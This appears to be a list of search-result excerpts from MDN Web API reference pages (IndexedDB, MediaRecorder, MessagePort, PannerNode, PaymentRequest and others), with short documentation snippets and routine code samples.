... note: until the indexed database api specification is finalized, this attribute should be accessed as moz_indexeddbsync.
IDBIndex.getAllKeys() - Web APIs
example var myindex = objectstore.index('index'); var getallkeysrequest = myindex.getallkeys(); getallkeysrequest.onsuccess = function() { console.log(getallkeysrequest.result); } specification specification status comment indexed database api draftthe definition of 'getall()' in that specification.
... indexed database api draftthe definition of 'getall()' in that specification.
IDBIndex.isAutoLocale - Web APIs
example in the following example we open a transaction and an object store, then get the index lname from a simple contacts database.
... function displaydatabyindex() { tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); console.log(myindex.isautolocale); myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var tablerow = document.createelement('tr'); tablerow.innerhtml = '<td>' + cursor.value.id + '</td>' ...
IDBIndex.locale - Web APIs
WebAPIIDBIndexlocale
example in the following example we open a transaction and an object store, then get the index lname from a simple contacts database.
... function displaydatabyindex() { tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); console.log(myindex.locale); myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var tablerow = document.createelement('tr'); tablerow.innerhtml = '<td>' + cursor.value.id + '</td>' ...
IIRFilterNode() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
ImageBitmap - Web APIs
properties imagebitmap.height read only is an unsigned long representing the height, in css pixels, of the imagedata.
... imagebitmap.width read only is an unsigned long representing the width, in css pixels, of the imagedata.
InputEvent() - Web APIs
data: (optional) a string containing characters to insert.
... datatransfer: (optional) a datatransfer object containing information about richtext or plaintext data being added to or removed from editible content.
InputEvent.getTargetRanges() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
InputEvent - Web APIs
inputevent.dataread only returns a domstring with the inserted characters.
... inputevent.datatransferread only returns a datatransfer object containing information about richtext or plaintext data being added to or removed from editable content.
KeyboardEvent.key - Web APIs
WebAPIKeyboardEventkey
('btn-clear-console'); function logmessage(message) { document.getelementbyid("console-log").innerhtml += message + "<br>"; } textarea.addeventlistener('keydown', (e) => { if (!e.repeat) logmessage(`key "${e.key}" pressed [event: keydown]`); else logmessage(`key "${e.key}" repeating [event: keydown]`); }); textarea.addeventlistener('beforeinput', (e) => { logmessage(`key "${e.data}" about to be input [event: beforeinput]`); }); textarea.addeventlistener('input', (e) => { logmessage(`key "${e.data}" input [event: input]`); }); textarea.addeventlistener('keyup', (e) => { logmessage(`key "${e.key}" released [event: keyup]`); }); btnclearconsole.addeventlistener('click', (e) => { let child = consolelog.firstchild; while (child) { consolelog.removechild(child);...
...the same goes for the inputevent.data property of the beforeinput and input events.
LargestContentfulPaint - Web APIs
note that in this example data is only sent to the server when the user leaves the tab.
...(note: `rendertime` may not be available on // image elements loaded cross-origin without the `timing-allow-origin` header.) lcp = lastentry.rendertime || lastentry.loadtime; }); po.observe({type: 'largest-contentful-paint', buffered: true}); // send data to the server.
LockedFile.append() - Web APIs
WebAPILockedFileappend
summary the append method is used to write some data at the end of the file.
... syntax var request = instanceoflockedfile.append(data); parameters data the data to write into the file.
LockedFile.readAsText() - Web APIs
encoding optional a string indicating the encoding to use for the returned data.
...in case of success, the request's result is a string representing the data that have been read.
LockedFile.write() - Web APIs
WebAPILockedFilewrite
summary the write method is used to write some data within the file.
... syntax var request = instanceoflockedfile.write(data); parameters data the data to write into the file.
MSGestureEvent - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaDeviceInfo.deviceId - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaDeviceInfo.kind - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaImage - Web APIs
the media session api's mediaimage dictionary describes the images associated with the media resource mediametadata.
... properties src the url from which user agent can fetch the image's data.
MediaKeyMessageEvent() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaKeyStatusMap.entries() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaKeyStatusMap.forEach() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaKeyStatusMap.get() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaKeyStatusMap.has() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaKeyStatusMap.keys() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaKeyStatusMap.size - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaKeyStatusMap.values() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaKeySystemConfiguration - Web APIs
properties mediakeysystemconfiguration.initdatatypes read only returns a list of supported initialization data type names.
... an initialization data type is a string indicating the format of the initialization data.
MediaRecorder.audioBitsPerSecond - Web APIs
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaRecorder.ignoreMutedMedia - Web APIs
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaRecorder.onerror - Web APIs
recording stops, the mediarecorder's state becomes inactive, one last dataavailable event is sent to the mediarecorder with the remaining received data, and finally a stop event is sent.
... function recordstream(stream) { let recorder = null; let bufferlist = []; try { recorder = new mediarecorder(stream); } catch(err) { return err.name; /* return the error name */ } recorder.ondataavailable = function(event) { bufferlist.push(event.data); }; recorder.onerror = function(event) { let error = event.error; switch(error.name) { case invalidstateerror: shownotification("you can't record the video right " + "now.
MediaRecorder.onstop - Web APIs
in each case, the stop event is preceded by a dataavailable event, making the blob captured up to that point available for you to use in your application.
... mediarecorder.onstop = function(e) { console.log("data available after mediarecorder.stop() called."); var audio = document.createelement('audio'); audio.controls = true; var blob = new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); var audiourl = window.url.createobjecturl(blob); audio.src = audiourl; console.log("recorder stopped"); } mediarecorder.ondataavailable = function(e) { chunks.push(e.data); } ...
MediaRecorder.stop() - Web APIs
raise a dataavailable event containing the blob of data that has been gathered.
... stop.onclick = function() { mediarecorder.stop(); console.log("recorder stopped, data available"); } ...
MediaRecorderErrorEvent.error - Web APIs
example this function creates and returns a mediarecorder for a given mediastream, configured to buffer data into an array and to watch for errors.
... function recordstream(stream) { let recorder = null; let bufferlist = []; try { recorder = new mediarecorder(stream); } catch(err) { /* exception while trying to create the recorder; handle that */ } recorder.ondataavailable = function(event) { bufferlist.push(event.data); }; recorder.onerror = function(event) { let error = event.error; }; recorder.start(100); /* 100ms time slices per buffer */ return recorder; } specifications specification status comment mediastream recordingthe definition of 'mediarecordererrorevent.error' in that specification.
MediaSession.playbackState - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaStream.getTracks() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaStream.id - Web APIs
WebAPIMediaStreamid
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaStreamTrack.enabled - Web APIs
when enabled, a track's data is output from the source to the destination; otherwise, empty frames are output.
... the value of enabled, in essence, represents what a typical user would consider the muting state for a track, whereas the muted property indicates a state in which the track is temporarily unable to output data, such as a scenario in which frames have been lost in transit.
MediaStreamTrackAudioSourceNode - Web APIs
the mediastreamtrackaudiosourcenode interface is a type of audionode which represents a source of audio data taken from a specific mediastreamtrack obtained through the webrtc or media capture and streams apis.
...ge = document.queryselector('input'); // getusermedia block - grab stream // put it into a mediastreamaudiosourcenode // also output the visuals into a video element if (navigator.mediadevices) { console.log('getusermedia supported.'); navigator.mediadevices.getusermedia ({audio: true, video: true}) .then(function(stream) { video.srcobject = stream; video.onloadedmetadata = function(e) { video.play(); video.muted = true; }; // create a mediastreamaudiosourcenode // feed the htmlmediaelement into it var audioctx = new audiocontext(); var source = audioctx.createmediastreamsource(stream); // create a biquadfilter var biquadfilter = audioctx.createbiquadfilter(); biquadfilter.ty...
Using the MediaStream Recording API - Web APIs
as recording progresses, we need to collect the audio data.
... we register an event handler to do this using mediarecorder.ondataavailable: let chunks = []; mediarecorder.ondataavailable = function(e) { chunks.push(e.data); } note: the browser will fire dataavailable events as needed, but if you want to intervene you can also include a timeslice when invoking the start() method — for example start(10000) — to control this interval, or call mediarecorder.requestdata() to trigger an event when you need it.
Capabilities, constraints, and settings - Web APIs
n(function(stream) { let audiotracks = stream.getaudiotracks(); let videotracks = stream.getvideotracks(); videoelement.srcobject = stream; if (audiotracks.length) { audiotrack = audiotracks[0]; } if (videotracks.length) { videotrack = videotracks[0]; } }).then(function() { return new promise(function(resolve) { videoelement.onloadedmetadata = resolve; }); }).then(function() { getcurrentsettings(); }).catch(handleerror); } there are several steps here: it calls buildconstraints() to create the mediatrackconstraints objects for the two tracks from the code in the edit boxes.
... then we set up a promise which resolves when the onloadedmetadata event occurs on the video element.
MerchantValidationEvent - Web APIs
once this data is retrieved, the data (or a promise resolving to the validation data) should be passed into complete() to validate that the payment request is coming from an authorized merchant.
... methods merchantvalidationevent.complete() secure context pass the data retrieved from the url specified by validationurl into complete() to complete the validation process for the paymentrequest.
MessageChannel - Web APIs
the messagechannel interface of the channel messaging api allows us to create a new message channel and send data through it via its two messageport properties.
...eryselector('iframe'); // wait for the iframe to load iframe.addeventlistener("load", onload); function onload() { // listen for messages on port1 channel.port1.onmessage = onmessage; // transfer port2 to the iframe iframe.contentwindow.postmessage('hello from the main page!', '*', [channel.port2]); } // handle messages received on port1 function onmessage(e) { output.innerhtml = e.data; } for a full working example, see our channel messaging basic demo on github (run it live too).
MessagePort: message event - Web APIs
('click', () => { myport.postmessage(messagecontrol.value); }) targetframe.postmessage('init', targetorigin, [channel.port2]); the target can receive the port and start listening for messages on it using code like this: window.addeventlistener('message', (event) => { const myport = event.ports[0]; myport.addeventlistener('message', (event) => { received.textcontent = event.data; }); myport.start(); }); note that the listener must call messageport.start() before any messages will be delivered to this port.
... this is only needed when using the addeventlistener() method: if the receiver uses onmessage instead, start() is called implicitly: window.addeventlistener('message', (event) => { const myport = event.ports[0]; myport.onmessage = (event) => { received.textcontent = event.data; }; }); specifications specification status html living standard living standard ...
MessagePort: messageerror event - Web APIs
myport.postmessage(messagecontrol.value); }) targetframe.postmessage('init', targetorigin, [channel.port2]); the target can receive the port and start listening for messages and message errors on it using code like this: window.addeventlistener('message', (event) => { const myport = event.ports[0]; myport.addeventlistener('message', (event) => { received.textcontent = event.data; }); myport.addeventlistener('messageerror', (event) => { console.error(event.data); }); myport.start(); }); note that the listener must call messageport.start() before any messages will be delivered to this port.
... this is only needed when using the addeventlistener() method: if the receiver uses onmessage instead, start() is called implicitly: window.addeventlistener('message', (event) => { const myport = event.ports[0]; myport.onmessage = (event) => { received.textcontent = event.data; }; myport.onmessageerror = (event) => { console.error(event.data); }; }); specifications specification status html living standard living standard ...
MutationObserver.observe() - Web APIs
(for example, if mutationobserverinit.childlist, mutationobserverinit.attributes, and mutationobserverinit.characterdata are all false.) the value of options.attributes is false (indicating that attribute changes are not to be monitored), but attributeoldvalue is true and/or attributefilter is present.
... the characterdataoldvalue option is true but mutationobserverinit.characterdata is false (indicating that character changes are not to be monitored).
NDEFRecord() - Web APIs
the ndefrecord() constructor of the web nfc api returns a newly constructed ndefrecord object that represents data that can be read from or written to compatible nfc devices, e.g.
... syntax writer = new ndefrecord(ndefrecordinit); parameters ndefrecordinit read only ndefrecordinit with initialization data.
NDEFRecord.toRecords() - Web APIs
the torecords() method of the ndefrecord interface of web nfc api parses record payload ndefrecord.data besed on ndefrecord.recordtype and returns the result.
... exceptions notsupported the user agent does not know how to parse this combination of ndefrecord.data and ndefrecord.recordtype.
NavigationPreloadManager - Web APIs
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Navigator.getUserMedia() - Web APIs
your callback can then assign the stream to the desired object (such as an <audio> or <video> element), as shown in the following example: function(stream) { var video = document.queryselector('video'); video.srcobject = stream; video.onloadedmetadata = function(e) { // do something with the video here.
...tusermedia = navigator.getusermedia || navigator.webkitgetusermedia || navigator.mozgetusermedia; if (navigator.getusermedia) { navigator.getusermedia({ audio: true, video: { width: 1280, height: 720 } }, function(stream) { var video = document.queryselector('video'); video.srcobject = stream; video.onloadedmetadata = function(e) { video.play(); }; }, function(err) { console.log("the following error occurred: " + err.name); } ); } else { console.log("getusermedia not supported"); } ...
Web-based protocol handlers - Web APIs
this means the server side code will have to parse out the protocol from the data.
...the data sent:</p> <textarea> <?php echo(htmlspecialchars($value, ent_quotes, 'utf-8')); ?> </textarea> </body> </html> references http://www.w3.org/tr/2011/wd-html5-20110525/timers.html#custom-handlers see also window.navigator.registercontenthandler nsiprotocolhandler (xul only) registerprotocolhandler enhancing the federated web at mozilla webdev register a custom protocolhandler at google developers.
Navigator - Web APIs
WebAPINavigator
navigator.mediasession returns mediasession object which can be used to provide metadata that can be used by the browser to present information about the currently-playing media to the user, such as in a global media controls ui.
... navigator.sendbeacon() used to asynchronously transfer a small amount of data using http from the user agent to a web server.
NavigatorStorage.storage - Web APIs
the returned object lets you examine and configure persistence of data stores and learn approximately how much more space your browser has available for local storage use.
... syntax var storagemanager = navigator.storage; value a storagemanager object you can use to maintain persistence for stored data, as well as to determine roughly how much room there is for data to be stored.
Node.nodeValue - Web APIs
WebAPINodenodeValue
for text, comment, and cdata nodes, nodevalue returns the content of the node.
... the following table shows the return values for different elements: node value of nodevalue cdatasection content of the cdata section comment content of the comment document null documentfragment null documenttype null element null namednodemap null entityreference null notation null processinginstruction entire content excluding the target text content of the text node when nodevalue is defined to be null, setting it has no effect.
Node.textContent - Web APIs
WebAPINodetextContent
note: to get all of the text and cdata data for the whole document, one could use document.documentelement.textcontent.
... if the node is a cdata section, comment, processing instruction, or text node, textcontent returns the text inside the node, i.e., the node.nodevalue.
NodeList.prototype.forEach() - Web APIs
WebAPINodeListforEach
candidate recommendation defines foreach on iterable declarations browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
NonDocumentTypeChildNode.previousElementSibling - Web APIs
{ return; } object.defineproperty(item, 'previouselementsibling', { configurable: true, enumerable: true, get: function () { let el = this; while (el = el.previoussibling) { if (el.nodetype === 1) { return el; } } return null; }, set: undefined }); }); })([element.prototype, characterdata.prototype]); specifications specification status comment domthe definition of 'nondocumenttypechildnode.previouselementsibling' in that specification.
... the element and characterdata interfaces implemented the new interface.
NonDocumentTypeChildNode - Web APIs
nondocumenttypechildnode is a raw interface and no object of this type can be created; it is implemented by element, and characterdata objects.
... the characterdata and element implemented the new interfaces.
Notification.Notification() - Web APIs
data: arbitrary data that you want associated with the notification.
... this can be of any data type.
NotificationEvent - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
NotifyAudioAvailableEvent - Web APIs
properties framebuffer read only a float32array containing the raw 32-bit floating-point audio data obtained from decoding the audio (e.g., the raw data being sent to the audio hardware vs.
...the data is a series of audio samples, each sample containing one 32-bit value per audio channel.
OES_vertex_array_object.createVertexArrayOES() - Web APIs
the oes_vertex_array_object.createvertexarrayoes() method of the webgl api creates and initializes a webglvertexarrayobject object that represents a vertex array object (vao) pointing to vertex array data and which provides names for different sets of vertex data.
... return value a webglvertexarrayobject representing a vertex array object (vao) which points to vertex array data.
OVR_multiview2.framebufferTextureMultiviewOVR() - Web APIs
possible values: gl.framebuffer: collection buffer data storage of color, alpha, depth and stencil buffers used to render an image.
...ment7_webgl ext.color_attachment8_webgl ext.color_attachment9_webgl ext.color_attachment10_webgl ext.color_attachment11_webgl ext.color_attachment12_webgl ext.color_attachment13_webgl ext.color_attachment14_webgl ext.color_attachment15_webgl when using the webgl_depth_texture extension: ext.depth_stencil_attachment: depth and stencil buffer data storage.
OfflineAudioCompletionEvent.renderedBuffer - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
OfflineAudioContext.OfflineAudioContext() - Web APIs
length an integer specifying the size of the buffer to create for the audio context, in sample-frames, where one sample-frame is a unit that can contain a single sample of audio data for every channel in the audio data.
... samplerate the sample-rate of the linear audio data in sample-frames per second.
OffscreenCanvas - Web APIs
main.js (main thread code): var htmlcanvas = document.getelementbyid("canvas"); var offscreen = htmlcanvas.transfercontroltooffscreen(); var worker = new worker("offscreencanvas.js"); worker.postmessage({canvas: offscreen}, [offscreen]); offscreencanvas.js (worker code): onmessage = function(evt) { var canvas = evt.data.canvas; var gl = canvas.getcontext("webgl"); // ...
...}; you can also use requestanimationframe in workers onmessage = function(evt) { const canvas = evt.data.canvas; const gl = canvas.getcontext("webgl"); function render(time) { // ...
PannerNode.distanceModel - Web APIs
urrenttime); listener.upx.setvalueattime(0, audioctx.currenttime); listener.upy.setvalueattime(1, audioctx.currenttime); listener.upz.setvalueattime(0, audioctx.currenttime); } else { listener.setorientation(0,0,-1,0,1,0); } var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); liste...
...ner.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves around on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on scre...
PannerNode.maxDistance - Web APIs
urrenttime); listener.upx.setvalueattime(0, audioctx.currenttime); listener.upy.setvalueattime(1, audioctx.currenttime); listener.upz.setvalueattime(0, audioctx.currenttime); } else { listener.setorientation(0,0,-1,0,1,0); } var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); liste...
...ner.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves around on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on scre...
PannerNode.panningModel - Web APIs
urrenttime); listener.upx.setvalueattime(0, audioctx.currenttime); listener.upy.setvalueattime(1, audioctx.currenttime); listener.upz.setvalueattime(0, audioctx.currenttime); } else { listener.setorientation(0,0,-1,0,1,0); } var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); liste...
...ner.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves around on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on scre...
PannerNode.setOrientation() - Web APIs
urrenttime); listener.upx.setvalueattime(0, audioctx.currenttime); listener.upy.setvalueattime(1, audioctx.currenttime); listener.upz.setvalueattime(0, audioctx.currenttime); } else { listener.setorientation(0,0,-1,0,1,0); } var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); liste...
...ner.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves around on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on scre...
PannerNode.setPosition() - Web APIs
urrenttime); listener.upx.setvalueattime(0, audioctx.currenttime); listener.upy.setvalueattime(1, audioctx.currenttime); listener.upz.setvalueattime(0, audioctx.currenttime); } else { listener.setorientation(0,0,-1,0,1,0); } var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); liste...
...ner.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves around on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on scre...
PannerNode.setVelocity() - Web APIs
urrenttime); listener.upx.setvalueattime(0, audioctx.currenttime); listener.upy.setvalueattime(1, audioctx.currenttime); listener.upz.setvalueattime(0, audioctx.currenttime); } else { listener.setorientation(0,0,-1,0,1,0); } var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); liste...
...ner.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves around on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on scre...
PannerNode - Web APIs
urrenttime); listener.upx.setvalueattime(0, audioctx.currenttime); listener.upy.setvalueattime(1, audioctx.currenttime); listener.upz.setvalueattime(0, audioctx.currenttime); } else { listener.setorientation(0,0,-1,0,1,0); } var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); liste...
...ner.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves around on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on scre...
PasswordCredential - Web APIs
syntax var mycredential = new passwordcredential(passwordcredentialdata) var mycredential = new passwordcredential(htmlformelement) parameters either of the following: passwordcredentialdata a passwordcredentialdata dictionary containing the following fields: iconurl: (optional) the url of a user's avatar image.
... examples this example shows how to set up an htmlformelement to caputure data which we'll use to create a passwordcredential object.
PaymentAddress.toJSON() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PaymentMethodChangeEvent.methodDetails - Web APIs
the read-only methoddetails property of the paymentmethodchangeevent interface is an object containing any data the payment handler may provide to describe the change the user has made to their payment method.
... syntax details = paymentmethodchangeevent.methodname; value an object containing any data needed to describe the changes made to the payment method.
PaymentRequest.abort() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PaymentRequest.canMakePayment() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PaymentRequest: merchantvalidation event - Web APIs
request.addeventlistener("merchantvalidation", event => { event.complete(async () => { const merchantserverurl = window.location.origin + '/validate?url=' + encodeuricomponent(event.validationurl); // get validation data, and complete validation; return await fetch(merchantserverurl).then(response => response.text()); }, false); }; const response = await request.show(); how merchant server handles the validation depends on the server implementation and payment method documentation.
... you can also use the onmerchantvalidation event handler property to set up the handler for this event: request.onmerchantvalidation = event => { event.complete(async () => { const merchantserverurl = window.location.origin + '/validate?url=' + encodeuricomponent(event.validationurl); // get validation data, and complete validation; return await fetch(merchantserverurl).then(response => response.text()); }); }; const response = await request.show(); for more information, see merchant validation in payment processing concepts.
PaymentRequest.onshippingaddresschange - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PaymentRequest.onshippingoptionchange - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PaymentRequest.shippingType - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PaymentResponse.complete() - Web APIs
